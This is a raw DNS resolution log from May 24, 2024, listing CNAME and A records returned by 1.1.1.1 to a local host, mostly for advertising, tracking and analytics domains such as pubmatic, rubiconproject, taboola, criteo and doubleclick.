May 24, 2024 00:35:11.517164946 CEST	1.1.1.1	192.168.2.6	0x4edd	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:11.517164946 CEST	1.1.1.1	192.168.2.6	0x4edd	No error (0)	image2v2.pubmnet.com	pug-lhr-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:11.517174006 CEST	1.1.1.1	192.168.2.6	0x5c3c	No error (0)	c21lg-d.media.net	star.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:11.517183065 CEST	1.1.1.1	192.168.2.6	0xdb0e	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:11.517191887 CEST	1.1.1.1	192.168.2.6	0xa9d2	No error (0)	c21lg-d.media.net	star.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:11.517199993 CEST	1.1.1.1	192.168.2.6	0xd73e	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:12.378781080 CEST	1.1.1.1	192.168.2.6	0x3bc7	No error (0)	ads.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:12.385011911 CEST	1.1.1.1	192.168.2.6	0xd141	No error (0)	ads.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:12.588270903 CEST	1.1.1.1	192.168.2.6	0xec62	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:12.588270903 CEST	1.1.1.1	192.168.2.6	0xec62	No error (0)	sync.1rx.io		46.228.174.117	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:12.588287115 CEST	1.1.1.1	192.168.2.6	0x6aa4	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:12.784730911 CEST	1.1.1.1	192.168.2.6	0x1a26	No error (0)	crb.kargo.com		18.193.40.232	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:12.784730911 CEST	1.1.1.1	192.168.2.6	0x1a26	No error (0)	crb.kargo.com		18.158.80.108	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:12.784730911 CEST	1.1.1.1	192.168.2.6	0x1a26	No error (0)	crb.kargo.com		18.199.24.49	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:13.330701113 CEST	1.1.1.1	192.168.2.6	0x5a92	No error (0)	api.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:13.330701113 CEST	1.1.1.1	192.168.2.6	0x5a92	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:13.330701113 CEST	1.1.1.1	192.168.2.6	0x5a92	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:13.330701113 CEST	1.1.1.1	192.168.2.6	0x5a92	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:13.330701113 CEST	1.1.1.1	192.168.2.6	0x5a92	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:13.331583977 CEST	1.1.1.1	192.168.2.6	0x8ef2	No error (0)	api.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:13.571290970 CEST	1.1.1.1	192.168.2.6	0x9caa	No error (0)	u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:13.571290970 CEST	1.1.1.1	192.168.2.6	0x9caa	No error (0)	u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:13.895920038 CEST	1.1.1.1	192.168.2.6	0x802d	No error (0)	smarttag.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:13.916594028 CEST	1.1.1.1	192.168.2.6	0x9595	No error (0)	smarttag.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:14.189204931 CEST	1.1.1.1	192.168.2.6	0xc1c2	No error (0)	opus.analytics.yahoo.com	cs964.wpc.9465e.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:14.189204931 CEST	1.1.1.1	192.168.2.6	0xc1c2	No error (0)	cs964.wpc.9465e.mucdn.net	cs964199420.wpc.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:14.189204931 CEST	1.1.1.1	192.168.2.6	0xc1c2	No error (0)	cs964199420.wpc.mucdn.net		152.199.23.180	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:14.189238071 CEST	1.1.1.1	192.168.2.6	0x2c06	No error (0)	tsdtocl.com		151.101.1.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:14.189238071 CEST	1.1.1.1	192.168.2.6	0x2c06	No error (0)	tsdtocl.com		151.101.65.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:14.189238071 CEST	1.1.1.1	192.168.2.6	0x2c06	No error (0)	tsdtocl.com		151.101.129.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:14.189238071 CEST	1.1.1.1	192.168.2.6	0x2c06	No error (0)	tsdtocl.com		151.101.193.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:14.189250946 CEST	1.1.1.1	192.168.2.6	0xafb8	No error (0)	opus.analytics.yahoo.com	cs964.wpc.9465e.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:14.189250946 CEST	1.1.1.1	192.168.2.6	0xafb8	No error (0)	cs964.wpc.9465e.mucdn.net	cs964199420.wpc.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:14.193939924 CEST	1.1.1.1	192.168.2.6	0x66d2	No error (0)	sync.adkernel.com	1.cpm.ak-is2.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:14.193939924 CEST	1.1.1.1	192.168.2.6	0x66d2	No error (0)	1.cpm.ak-is2.net		77.245.57.72	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:14.193959951 CEST	1.1.1.1	192.168.2.6	0x8052	No error (0)	sync.adkernel.com	1.cpm.ak-is2.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:15.220966101 CEST	1.1.1.1	192.168.2.6	0x3b31	No error (0)	beacon-ams3.rubiconproject.com	beacon-ams3.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:15.225982904 CEST	1.1.1.1	192.168.2.6	0xa1b3	No error (0)	beacon-ams3.rubiconproject.com	beacon-ams3.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:15.230746984 CEST	1.1.1.1	192.168.2.6	0x26c8	No error (0)	pixel.tapad.com		34.111.113.62	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:15.230756998 CEST	1.1.1.1	192.168.2.6	0xbb50	No error (0)	sync.intentiq.com		3.160.150.30	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:15.230756998 CEST	1.1.1.1	192.168.2.6	0xbb50	No error (0)	sync.intentiq.com		3.160.150.74	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:15.230756998 CEST	1.1.1.1	192.168.2.6	0xbb50	No error (0)	sync.intentiq.com		3.160.150.86	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:15.230756998 CEST	1.1.1.1	192.168.2.6	0xbb50	No error (0)	sync.intentiq.com		3.160.150.105	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:15.832577944 CEST	1.1.1.1	192.168.2.6	0x9974	No error (0)	api.content.aol.com	prod.msicontent.pse.public.aol.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:15.832577944 CEST	1.1.1.1	192.168.2.6	0x9974	No error (0)	prod.msicontent.pse.public.aol.com		54.225.218.25	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:15.832577944 CEST	1.1.1.1	192.168.2.6	0x9974	No error (0)	prod.msicontent.pse.public.aol.com		54.156.149.153	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:15.832592010 CEST	1.1.1.1	192.168.2.6	0x3f22	No error (0)	api.content.aol.com	prod.msicontent.pse.public.aol.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:16.266042948 CEST	1.1.1.1	192.168.2.6	0xc9d	No error (0)	pubads.g.doubleclick.net			65	IN (0x0001)	false
May 24, 2024 00:35:16.266068935 CEST	1.1.1.1	192.168.2.6	0xa9b	No error (0)	pubads.g.doubleclick.net		142.250.185.194	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.291310072 CEST	1.1.1.1	192.168.2.6	0x1642	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:16.291310072 CEST	1.1.1.1	192.168.2.6	0x1642	No error (0)	rtb-csync-euw1.smartadserver.com		89.149.192.74	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.291310072 CEST	1.1.1.1	192.168.2.6	0x1642	No error (0)	rtb-csync-euw1.smartadserver.com		81.17.55.97	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.291310072 CEST	1.1.1.1	192.168.2.6	0x1642	No error (0)	rtb-csync-euw1.smartadserver.com		81.17.55.116	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.291310072 CEST	1.1.1.1	192.168.2.6	0x1642	No error (0)	rtb-csync-euw1.smartadserver.com		89.149.192.201	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.291310072 CEST	1.1.1.1	192.168.2.6	0x1642	No error (0)	rtb-csync-euw1.smartadserver.com		89.149.192.200	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.291310072 CEST	1.1.1.1	192.168.2.6	0x1642	No error (0)	rtb-csync-euw1.smartadserver.com		81.17.55.117	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.291310072 CEST	1.1.1.1	192.168.2.6	0x1642	No error (0)	rtb-csync-euw1.smartadserver.com		81.17.55.172	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.291310072 CEST	1.1.1.1	192.168.2.6	0x1642	No error (0)	rtb-csync-euw1.smartadserver.com		81.17.55.106	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.291310072 CEST	1.1.1.1	192.168.2.6	0x1642	No error (0)	rtb-csync-euw1.smartadserver.com		89.149.192.73	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.291310072 CEST	1.1.1.1	192.168.2.6	0x1642	No error (0)	rtb-csync-euw1.smartadserver.com		81.17.55.173	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.291322947 CEST	1.1.1.1	192.168.2.6	0x722e	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:16.378375053 CEST	1.1.1.1	192.168.2.6	0x98c6	No error (0)	ad.mrtnsvr.com		34.102.163.6	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.405478001 CEST	1.1.1.1	192.168.2.6	0x2443	No error (0)	d5p.de17a.com		213.155.156.167	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.405478001 CEST	1.1.1.1	192.168.2.6	0x2443	No error (0)	d5p.de17a.com		213.155.156.166	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.405478001 CEST	1.1.1.1	192.168.2.6	0x2443	No error (0)	d5p.de17a.com		213.155.156.181	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.405478001 CEST	1.1.1.1	192.168.2.6	0x2443	No error (0)	d5p.de17a.com		213.155.156.184	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.405478001 CEST	1.1.1.1	192.168.2.6	0x2443	No error (0)	d5p.de17a.com		213.155.156.169	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.405478001 CEST	1.1.1.1	192.168.2.6	0x2443	No error (0)	d5p.de17a.com		213.155.156.185	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.405478001 CEST	1.1.1.1	192.168.2.6	0x2443	No error (0)	d5p.de17a.com		213.155.156.183	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.405478001 CEST	1.1.1.1	192.168.2.6	0x2443	No error (0)	d5p.de17a.com		213.155.156.165	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.405478001 CEST	1.1.1.1	192.168.2.6	0x2443	No error (0)	d5p.de17a.com		213.155.156.168	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.405478001 CEST	1.1.1.1	192.168.2.6	0x2443	No error (0)	d5p.de17a.com		213.155.156.182	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.405478001 CEST	1.1.1.1	192.168.2.6	0x2443	No error (0)	d5p.de17a.com		213.155.156.180	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.405478001 CEST	1.1.1.1	192.168.2.6	0x2443	No error (0)	d5p.de17a.com		213.155.156.164	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.504559994 CEST	1.1.1.1	192.168.2.6	0x8381	No error (0)	sync1.intentiq.com		3.160.150.105	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.504559994 CEST	1.1.1.1	192.168.2.6	0x8381	No error (0)	sync1.intentiq.com		3.160.150.86	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.504559994 CEST	1.1.1.1	192.168.2.6	0x8381	No error (0)	sync1.intentiq.com		3.160.150.30	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.504559994 CEST	1.1.1.1	192.168.2.6	0x8381	No error (0)	sync1.intentiq.com		3.160.150.74	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.516768932 CEST	1.1.1.1	192.168.2.6	0xd538	No error (0)	core.iprom.net		195.5.165.20	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.620682001 CEST	1.1.1.1	192.168.2.6	0xbfc4	No error (0)	a.tribalfusion.com			65	IN (0x0001)	false
May 24, 2024 00:35:16.620712996 CEST	1.1.1.1	192.168.2.6	0xd8fb	No error (0)	a.tribalfusion.com		104.18.24.173	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.620712996 CEST	1.1.1.1	192.168.2.6	0xd8fb	No error (0)	a.tribalfusion.com		104.18.25.173	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.651277065 CEST	1.1.1.1	192.168.2.6	0x7e13	No error (0)	oidc.help.aol.com	ds-ats.member.g02.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:16.651288986 CEST	1.1.1.1	192.168.2.6	0x8df1	No error (0)	oidc.help.aol.com	ds-ats.member.g02.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:16.651288986 CEST	1.1.1.1	192.168.2.6	0x8df1	No error (0)	ds-ats.member.g02.yahoodns.net		212.82.100.140	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.932796955 CEST	1.1.1.1	192.168.2.6	0x330	No error (0)	green.erne.co		141.94.161.190	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.932796955 CEST	1.1.1.1	192.168.2.6	0x330	No error (0)	green.erne.co		141.95.171.142	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.932796955 CEST	1.1.1.1	192.168.2.6	0x330	No error (0)	green.erne.co		141.95.171.139	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.932796955 CEST	1.1.1.1	192.168.2.6	0x330	No error (0)	green.erne.co		141.95.171.141	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.932796955 CEST	1.1.1.1	192.168.2.6	0x330	No error (0)	green.erne.co		141.95.171.140	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.932796955 CEST	1.1.1.1	192.168.2.6	0x330	No error (0)	green.erne.co		141.94.240.143	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.932796955 CEST	1.1.1.1	192.168.2.6	0x330	No error (0)	green.erne.co		141.95.172.216	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.932796955 CEST	1.1.1.1	192.168.2.6	0x330	No error (0)	green.erne.co		141.94.161.158	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.932796955 CEST	1.1.1.1	192.168.2.6	0x330	No error (0)	green.erne.co		141.94.242.226	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.932796955 CEST	1.1.1.1	192.168.2.6	0x330	No error (0)	green.erne.co		141.94.242.204	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:16.932796955 CEST	1.1.1.1	192.168.2.6	0x330	No error (0)	green.erne.co		141.94.242.206	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.044074059 CEST	1.1.1.1	192.168.2.6	0xe882	No error (0)	matching.truffle.bid		162.55.120.196	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.044074059 CEST	1.1.1.1	192.168.2.6	0xe882	No error (0)	matching.truffle.bid		23.88.86.2	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.169359922 CEST	1.1.1.1	192.168.2.6	0xd10c	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.169359922 CEST	1.1.1.1	192.168.2.6	0xd10c	No error (0)	sync.1rx.io		46.228.174.117	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.169373035 CEST	1.1.1.1	192.168.2.6	0x9770	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.184721947 CEST	1.1.1.1	192.168.2.6	0x7234	No error (0)	match.adsby.bidtheatre.com		64.227.64.62	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.184721947 CEST	1.1.1.1	192.168.2.6	0x7234	No error (0)	match.adsby.bidtheatre.com		188.166.17.21	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.184721947 CEST	1.1.1.1	192.168.2.6	0x7234	No error (0)	match.adsby.bidtheatre.com		134.122.57.34	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.263382912 CEST	1.1.1.1	192.168.2.6	0x2c11	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.263394117 CEST	1.1.1.1	192.168.2.6	0x1463	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.323930979 CEST	1.1.1.1	192.168.2.6	0xe8fe	No error (0)	s.tribalfusion.com		104.18.25.173	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.323930979 CEST	1.1.1.1	192.168.2.6	0xe8fe	No error (0)	s.tribalfusion.com		104.18.24.173	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.323944092 CEST	1.1.1.1	192.168.2.6	0x992e	No error (0)	s.tribalfusion.com			65	IN (0x0001)	false
May 24, 2024 00:35:17.420061111 CEST	1.1.1.1	192.168.2.6	0x88df	No error (0)	ssp-sync.criteo.com	ssp-sync.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.420073032 CEST	1.1.1.1	192.168.2.6	0xbe58	No error (0)	ssp-sync.criteo.com	ssp-sync.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.420073032 CEST	1.1.1.1	192.168.2.6	0xbe58	No error (0)	ssp-sync.nl3.vip.prod.criteo.com		178.250.1.7	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.577109098 CEST	1.1.1.1	192.168.2.6	0x9afa	No error (0)	bats.video.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.577109098 CEST	1.1.1.1	192.168.2.6	0x9afa	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.577109098 CEST	1.1.1.1	192.168.2.6	0x9afa	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.577124119 CEST	1.1.1.1	192.168.2.6	0xc83	No error (0)	bats.video.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.781155109 CEST	1.1.1.1	192.168.2.6	0x8b7b	No error (0)	login.aol.com	ds-ats.member.g02.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.782608032 CEST	1.1.1.1	192.168.2.6	0x25a9	No error (0)	login.aol.com	ds-ats.member.g02.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.782608032 CEST	1.1.1.1	192.168.2.6	0x25a9	No error (0)	ds-ats.member.g02.yahoodns.net		212.82.100.140	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.796561956 CEST	1.1.1.1	192.168.2.6	0xe700	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.796561956 CEST	1.1.1.1	192.168.2.6	0xe700	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.801359892 CEST	1.1.1.1	192.168.2.6	0x7147	No error (0)	creativecdn.com		185.184.8.90	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.801384926 CEST	1.1.1.1	192.168.2.6	0xd23e	No error (0)	aax-eu.amazon-adsystem.com		52.94.223.167	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.801393032 CEST	1.1.1.1	192.168.2.6	0x4c06	No error (0)	sync.crwdcntrl.net		54.77.98.227	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.801393032 CEST	1.1.1.1	192.168.2.6	0x4c06	No error (0)	sync.crwdcntrl.net		34.250.113.16	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.801393032 CEST	1.1.1.1	192.168.2.6	0x4c06	No error (0)	sync.crwdcntrl.net		18.202.122.123	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.801393032 CEST	1.1.1.1	192.168.2.6	0x4c06	No error (0)	sync.crwdcntrl.net		52.17.55.191	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.801393032 CEST	1.1.1.1	192.168.2.6	0x4c06	No error (0)	sync.crwdcntrl.net		52.17.40.72	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.801393032 CEST	1.1.1.1	192.168.2.6	0x4c06	No error (0)	sync.crwdcntrl.net		52.48.217.227	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.801393032 CEST	1.1.1.1	192.168.2.6	0x4c06	No error (0)	sync.crwdcntrl.net		54.220.158.112	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.801393032 CEST	1.1.1.1	192.168.2.6	0x4c06	No error (0)	sync.crwdcntrl.net		34.255.81.198	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.812066078 CEST	1.1.1.1	192.168.2.6	0xac07	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.812066078 CEST	1.1.1.1	192.168.2.6	0xac07	No error (0)	rw.yieldmo.com	gdpr.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.812066078 CEST	1.1.1.1	192.168.2.6	0xac07	No error (0)	gdpr.rw.yieldmo.com	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.812066078 CEST	1.1.1.1	192.168.2.6	0xac07	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		52.209.140.47	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.812066078 CEST	1.1.1.1	192.168.2.6	0xac07	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		99.80.1.95	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.812066078 CEST	1.1.1.1	192.168.2.6	0xac07	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		3.248.168.119	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.812066078 CEST	1.1.1.1	192.168.2.6	0xac07	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		99.81.151.194	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.812066078 CEST	1.1.1.1	192.168.2.6	0xac07	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		54.170.121.32	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.812066078 CEST	1.1.1.1	192.168.2.6	0xac07	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		54.77.35.70	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.812066078 CEST	1.1.1.1	192.168.2.6	0xac07	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		108.129.27.35	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.812066078 CEST	1.1.1.1	192.168.2.6	0xac07	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		34.252.196.148	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.812094927 CEST	1.1.1.1	192.168.2.6	0xb048	No error (0)	contextual.media.net		23.211.10.95	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.813030958 CEST	1.1.1.1	192.168.2.6	0xf7bc	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.813030958 CEST	1.1.1.1	192.168.2.6	0xf7bc	No error (0)	rw.yieldmo.com	gdpr.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.813030958 CEST	1.1.1.1	192.168.2.6	0xf7bc	No error (0)	gdpr.rw.yieldmo.com	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.819013119 CEST	1.1.1.1	192.168.2.6	0x10f6	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.819013119 CEST	1.1.1.1	192.168.2.6	0x10f6	No error (0)	image4-v2.pubmnet.com	spug-amsfpairbc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.819031000 CEST	1.1.1.1	192.168.2.6	0xffe4	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.819031000 CEST	1.1.1.1	192.168.2.6	0xffe4	No error (0)	image4-v2.pubmnet.com	spug-amsfpairbc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.819031000 CEST	1.1.1.1	192.168.2.6	0xffe4	No error (0)	spug-amsfpairbc.pubmnet.com		198.47.127.20	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.822969913 CEST	1.1.1.1	192.168.2.6	0x4cee	No error (0)	ib.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:17.822969913 CEST	1.1.1.1	192.168.2.6	0x4cee	No error (0)	ib.anycast.adnxs.com		37.252.171.21	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.822969913 CEST	1.1.1.1	192.168.2.6	0x4cee	No error (0)	ib.anycast.adnxs.com		37.252.173.215	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.822969913 CEST	1.1.1.1	192.168.2.6	0x4cee	No error (0)	ib.anycast.adnxs.com		37.252.171.52	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.822969913 CEST	1.1.1.1	192.168.2.6	0x4cee	No error (0)	ib.anycast.adnxs.com		37.252.171.149	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.822969913 CEST	1.1.1.1	192.168.2.6	0x4cee	No error (0)	ib.anycast.adnxs.com		37.252.172.123	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.822969913 CEST	1.1.1.1	192.168.2.6	0x4cee	No error (0)	ib.anycast.adnxs.com		37.252.171.85	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.822969913 CEST	1.1.1.1	192.168.2.6	0x4cee	No error (0)	ib.anycast.adnxs.com		37.252.171.53	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.822978973 CEST	1.1.1.1	192.168.2.6	0xbd0b	No error (0)	bcbolt446c5271-a.akamaihd.net	bcbolt446c5271-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
